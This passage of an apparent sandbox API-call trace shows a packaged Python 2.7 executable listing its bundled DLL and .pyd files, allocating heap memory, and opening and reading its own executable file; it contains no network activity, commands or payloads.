nFileSizeHigh=0x0, nFileSizeLow=0x9fa90, dwReserved0=0x9bab64, dwReserved1=0x0, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1 [0072.090] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9bada8 | out: lpFindFileData=0x9bada8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd7f4505, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xdd7f4505, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xdd81a93d, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x542, dwReserved0=0x9bab64, dwReserved1=0x0, cFileName="NewSource.exe.manifest", cAlternateFileName="NEWSOU~1.MAN")) returned 1 [0072.090] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9bada8 | out: lpFindFileData=0x9bada8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddd86ac5, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xddd86ac5, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xddd86ac5, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x9bab64, dwReserved1=0x0, cFileName="pyexpat.pyd", cAlternateFileName="")) returned 1 [0072.090] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f970, Size=0x40) returned 0x2a2ca38 [0072.090] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9bada8 | out: lpFindFileData=0x9bada8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddfe8e71, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xddfe8e71, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xde143dca, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x287000, dwReserved0=0x9bab64, dwReserved1=0x0, cFileName="python27.dll", cAlternateFileName="")) returned 1 [0072.090] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9bada8 | out: lpFindFileData=0x9bada8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde1668ae, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xde1668ae, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xde1668ae, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x9bab64, dwReserved1=0x0, cFileName="select.pyd", cAlternateFileName="")) returned 1 [0072.090] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9bada8 | out: lpFindFileData=0x9bada8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde41520a, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xdf701cf0, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xdf701cf0, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab64, dwReserved1=0x0, cFileName="tcl", cAlternateFileName="")) returned 1 [0072.091] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9bada8 | out: lpFindFileData=0x9bada8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde2253aa, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xde2253aa, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xde27183c, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0xda600, dwReserved0=0x9bab64, dwReserved1=0x0, cFileName="tcl85.dll", cAlternateFileName="")) returned 1 [0072.091] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9bada8 | out: lpFindFileData=0x9bada8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2f4b867, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xe3a95614, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xe3a95614, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab64, dwReserved1=0x0, cFileName="tk", cAlternateFileName="")) returned 1 [0072.091] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9bada8 | out: lpFindFileData=0x9bada8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde30a180, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xde30a180, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xde3886bf, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x145000, dwReserved0=0x9bab64, dwReserved1=0x0, cFileName="tk85.dll", cAlternateFileName="")) returned 1 [0072.091] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9bada8 | out: lpFindFileData=0x9bada8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde3c8d6b, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xde3c8d6b, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xde3ef059, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0xa7c00, dwReserved0=0x9bab64, dwReserved1=0x0, cFileName="unicodedata.pyd", cAlternateFileName="UNICOD~1.PYD")) returned 1 [0072.091] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9bada8 | out: lpFindFileData=0x9bada8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd8d9519, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xdd8d9519, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xdd95a418, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x10e200, dwReserved0=0x9bab64, dwReserved1=0x0, cFileName="_bsddb.pyd", cAlternateFileName="")) returned 1 [0072.091] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a2ca38, Size=0x64) returned 0x2a70ee0 [0072.091] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9bada8 | out: lpFindFileData=0x9bada8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd980b69, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xdd980b69, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xdd980b69, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x9bab64, dwReserved1=0x0, cFileName="_cffi_backend.pyd", cAlternateFileName="_CFFI_~1.PYD")) returned 1 [0072.091] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9bada8 | out: lpFindFileData=0x9bada8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd980b69, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xdd980b69, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xdd9a6d06, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x16a00, dwReserved0=0x9bab64, dwReserved1=0x0, cFileName="_ctypes.pyd", cAlternateFileName="")) returned 1 [0072.091] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9bada8 | out: lpFindFileData=0x9bada8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd9f31e8, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xdd9f31e8, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xdda65925, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x10ba00, dwReserved0=0x9bab64, dwReserved1=0x0, cFileName="_hashlib.pyd", cAlternateFileName="")) returned 1 [0072.091] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9bada8 | out: lpFindFileData=0x9bada8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdda65925, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xdda65925, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xdda8bb4c, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x9bab64, dwReserved1=0x0, cFileName="_socket.pyd", cAlternateFileName="")) returned 1 [0072.091] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9bada8 | out: lpFindFileData=0x9bada8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddafe297, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xddafe297, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xddc09057, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x159a00, dwReserved0=0x9bab64, dwReserved1=0x0, cFileName="_ssl.pyd", cAlternateFileName="")) returned 1 [0072.091] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9bada8 | out: lpFindFileData=0x9bada8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddc2f38c, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xddc2f38c, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xddc2f38c, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x9bab64, dwReserved1=0x0, cFileName="_testcapi.pyd", cAlternateFileName="_TESTC~1.PYD")) returned 1 [0072.091] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9bada8 | out: lpFindFileData=0x9bada8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddc2f38c, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xddc2f38c, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xddc55804, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x9bab64, dwReserved1=0x0, cFileName="_tkinter.pyd", cAlternateFileName="")) returned 1 [0072.091] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9bada8 | out: lpFindFileData=0x9bada8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddc2f38c, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xddc2f38c, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xddc55804, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x9bab64, dwReserved1=0x0, cFileName="_tkinter.pyd", cAlternateFileName="")) returned 0 [0072.091] GetLastError () returned 0x12 [0072.091] FindClose (in: hFindFile=0x10556e0 | out: hFindFile=0x10556e0) returned 1 [0072.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2a70f50 [0072.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x400) returned 0x2a72740 [0072.091] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a70f50 | out: hHeap=0x2ad0000) returned 1 [0072.091] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a70ee0 | out: hHeap=0x2ad0000) returned 1 [0072.091] GetCurrentThreadId () returned 0x9b0 [0072.091] GetCurrentThreadId () returned 0x9b0 [0072.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a70ee0 [0072.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a779e8 [0072.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a6e870 [0072.091] GetCurrentThreadId () returned 0x9b0 [0072.091] GetCurrentThreadId () returned 0x9b0 [0072.091] GetCurrentThreadId () returned 0x9b0 [0072.091] GetCurrentThreadId () returned 0x9b0 [0072.091] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a6e870 | out: hHeap=0x2ad0000) returned 1 [0072.091] GetCurrentThreadId () returned 0x9b0 [0072.092] GetCurrentThreadId () returned 0x9b0 [0072.092] GetLastError () returned 0x12 [0072.092] SetLastError (dwErrCode=0x12) [0072.092] GetLastError () returned 0x12 [0072.092] SetLastError (dwErrCode=0x12) [0072.092] GetLastError () returned 0x12 [0072.092] SetLastError (dwErrCode=0x12) [0072.092] GetLastError () returned 0x12 [0072.092] SetLastError (dwErrCode=0x12) [0072.092] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a20018 [0072.092] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd50 [0072.092] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd50 | out: hHeap=0x2ad0000) returned 1 [0072.092] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2ad64e8 [0072.092] GetLastError () returned 0x12 [0072.092] SetLastError (dwErrCode=0x12) [0072.092] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bab58, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0072.092] GetFileType (hFile=0x1d4) returned 0x1 [0072.092] GetFileType (hFile=0x1d4) returned 0x1 [0072.093] GetFileInformationByHandle (in: hFile=0x1d4, lpFileInformation=0x9babd4 | out: lpFileInformation=0x9babd4) returned 1 [0072.093] FileTimeToLocalFileTime (in: lpFileTime=0x9babe8, lpLocalFileTime=0x9bac18 | out: lpLocalFileTime=0x9bac18) returned 1 [0072.093] FileTimeToSystemTime (in: lpFileTime=0x9bac18, lpSystemTime=0x9bac08 | out: lpSystemTime=0x9bac08) returned 1 [0072.093] FileTimeToLocalFileTime (in: lpFileTime=0x9babe0, lpLocalFileTime=0x9bac18 | out: lpLocalFileTime=0x9bac18) returned 1 [0072.093] FileTimeToSystemTime (in: lpFileTime=0x9bac18, lpSystemTime=0x9bac08 | out: lpSystemTime=0x9bac08) returned 1 [0072.093] FileTimeToLocalFileTime (in: lpFileTime=0x9babd8, lpLocalFileTime=0x9bac18 | out: lpLocalFileTime=0x9bac18) returned 1 [0072.093] FileTimeToSystemTime (in: lpFileTime=0x9bac18, lpSystemTime=0x9bac08 | out: lpSystemTime=0x9bac08) returned 1 [0072.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64e8 | out: hHeap=0x2ad0000) returned 1 [0072.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20018 | out: hHeap=0x2ad0000) returned 1 [0072.093] GetLastError () returned 0x0 [0072.093] SetLastError (dwErrCode=0x0) [0072.093] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=8966229, lpDistanceToMoveHigh=0x9bac88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9bac88*=0) returned 0x88d055 [0072.093] GetCurrentThreadId () returned 0x9b0 [0072.094] GetLastError () returned 0x0 [0072.094] SetLastError (dwErrCode=0x0) [0072.094] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=7964186, lpDistanceToMoveHigh=0x9bb020*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9bb020*=0) returned 0x79861a [0072.094] GetCurrentThreadId () returned 0x9b0 [0072.094] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2081) returned 0x2a74eb8 [0072.094] GetLastError () returned 0x0 [0072.094] SetLastError (dwErrCode=0x0) [0072.094] ReadFile (in: hFile=0x1d4, lpBuffer=0x2a74ecc, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x9bafe8, lpOverlapped=0x0 | out: lpBuffer=0x2a74ecc*, lpNumberOfBytesRead=0x9bafe8*=0x2000, lpOverlapped=0x0) returned 1 [0072.095] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2a81fd8 [0072.095] ReadFile (in: hFile=0x1d4, lpBuffer=0x2a81fd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9bafd4, lpOverlapped=0x0 | out: lpBuffer=0x2a81fd8*, lpNumberOfBytesRead=0x9bafd4*=0x1000, lpOverlapped=0x0) returned 1 [0072.095] GetCurrentThreadId () returned 0x9b0 [0072.095] GetLastError () returned 0x0 [0072.095] SetLastError (dwErrCode=0x0) [0072.096] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b9cac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b9cac*=0) returned 0x79b61a [0072.096] GetLastError () returned 0x0 [0072.096] SetLastError (dwErrCode=0x0) [0072.096] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a81fd8 | out: hHeap=0x2ad0000) returned 1 [0072.096] CloseHandle (hObject=0x1d4) returned 1 [0072.097] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2a81fd8 [0072.097] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2a83bb0 [0072.098] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8000) returned 0x2a87bd0 [0072.098] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a83bb0, Size=0x8015) returned 0x2a8fbd8 [0072.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a87bd0 | out: hHeap=0x2ad0000) returned 1 [0072.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a81fd8 | out: hHeap=0x2ad0000) returned 1 [0072.099] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8fbd8, Size=0x600d) returned 0x2a8fbd8 [0072.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a74eb8 | out: hHeap=0x2ad0000) returned 1 [0072.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x70f) returned 0x2a72b48 [0072.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x492) returned 0x2a73260 [0072.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd50 [0072.099] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fd50, Size=0x20) returned 0x2a1fa88 [0072.099] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fa88, Size=0x40) returned 0x2a73700 [0072.099] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a73700, Size=0x64) returned 0x2a70ff0 [0072.099] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a70ff0, Size=0x8c) returned 0x2a77af8 [0072.099] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a77af8, Size=0xb8) returned 0x2a6e870 [0072.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x251) returned 0x2a74eb8 [0072.099] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a6e870, Size=0xe8) returned 0x2a6e870 [0072.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xae8) returned 0x2a75118 [0072.099] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a6e870, Size=0x120) returned 0x2a6e870 [0072.099] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a6e870, Size=0x160) returned 0x2a6e870 [0072.099] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a6e870, Size=0x1a8) returned 0x2a6e870 [0072.100] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a6e870, Size=0x1f8) returned 0x2a6e870 [0072.100] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a6e870, Size=0x250) returned 0x2a75c08 [0072.100] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a75c08, Size=0x2b4) returned 0x2a75c08 [0072.100] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a75c08, Size=0x324) returned 0x2a75c08 [0072.100] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a75c08, Size=0x3a4) returned 0x2a75c08 [0072.100] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a75c08 | out: hHeap=0x2ad0000) returned 1 [0072.100] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8fbd8 | out: hHeap=0x2ad0000) returned 1 [0072.101] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6448 [0072.101] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6448 | out: hHeap=0x2ad0000) returned 1 [0072.101] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a70c18 [0072.102] GetCurrentThreadId () returned 0x9b0 [0072.102] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a6e870 [0072.102] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a6e870 | out: hHeap=0x2ad0000) returned 1 [0072.102] GetCurrentThreadId () returned 0x9b0 [0072.102] GetCurrentThreadId () returned 0x9b0 [0072.102] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a6e870 [0072.102] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a75c08 [0072.102] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a75d18 [0072.102] GetCurrentThreadId () returned 0x9b0 [0072.102] GetCurrentThreadId () returned 0x9b0 [0072.102] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a75d18 | out: hHeap=0x2ad0000) returned 1 [0072.102] GetCurrentThreadId () returned 0x9b0 [0072.102] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x210) returned 0x2a75d18 [0072.102] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a70a90 [0072.102] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a70908 [0072.102] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a22170 [0072.102] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a70a90 | out: hHeap=0x2ad0000) returned 1 [0072.102] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a251b0 [0072.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a70908 | out: hHeap=0x2ad0000) returned 1 [0072.103] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40000) returned 0x2ae0048 [0072.104] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1800) returned 0x2b20050 [0072.104] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a22170 | out: hHeap=0x2ad0000) returned 1 [0072.104] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3dc) returned 0x2b21858 [0072.104] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1800) returned 0x2a81fd8 [0072.104] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a251b0 | out: hHeap=0x2ad0000) returned 1 [0072.104] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc00) returned 0x2a75f30 [0072.104] GetCurrentThreadId () returned 0x9b0 [0072.104] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a75c08 | out: hHeap=0x2ad0000) returned 1 [0072.104] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a6e870 | out: hHeap=0x2ad0000) returned 1 [0072.104] GetCurrentThreadId () returned 0x9b0 [0072.104] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x38) returned 0x2a73700 [0072.104] GetCurrentThreadId () returned 0x9b0 [0072.104] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a75c08 [0072.104] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a245a0 [0072.104] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a2a170 | out: hHeap=0x2ad0000) returned 1 [0072.105] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a75c08 | out: hHeap=0x2ad0000) returned 1 [0072.105] GetCurrentThreadId () returned 0x9b0 [0072.105] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x150) returned 0x2a6e870 [0072.105] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a21b68 [0072.105] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a70c18 | out: hHeap=0x2ad0000) returned 1 [0072.105] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1800) returned 0x2a837e0 [0072.105] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a21b68 | out: hHeap=0x2ad0000) returned 1 [0072.105] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a6e870 | out: hHeap=0x2ad0000) returned 1 [0072.105] GetCurrentThreadId () returned 0x9b0 [0072.105] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a75c08 [0072.105] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a75c08 | out: hHeap=0x2ad0000) returned 1 [0072.105] GetCurrentThreadId () returned 0x9b0 [0072.105] GetCurrentThreadId () returned 0x9b0 [0072.105] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a75c08 [0072.105] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a6e870 [0072.105] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2b21c40 [0072.105] GetCurrentThreadId () returned 0x9b0 [0072.105] GetCurrentThreadId () returned 0x9b0 [0072.105] GetCurrentThreadId () returned 0x9b0 [0072.105] GetCurrentThreadId () returned 0x9b0 [0072.105] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2b21c40 | out: hHeap=0x2ad0000) returned 1 [0072.105] GetCurrentThreadId () returned 0x9b0 [0072.105] GetCurrentThreadId () returned 0x9b0 [0072.105] GetLastError () returned 0x0 [0072.105] SetLastError (dwErrCode=0x0) [0072.105] GetLastError () returned 0x0 [0072.105] SetLastError (dwErrCode=0x0) [0072.105] GetLastError () returned 0x0 [0072.105] SetLastError (dwErrCode=0x0) [0072.105] GetLastError () returned 0x0 [0072.106] SetLastError (dwErrCode=0x0) [0072.106] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a20108 [0072.106] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd50 [0072.106] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd50 | out: hHeap=0x2ad0000) returned 1 [0072.106] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2ad64e8 [0072.106] GetLastError () returned 0x0 [0072.106] SetLastError (dwErrCode=0x0) [0072.106] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, 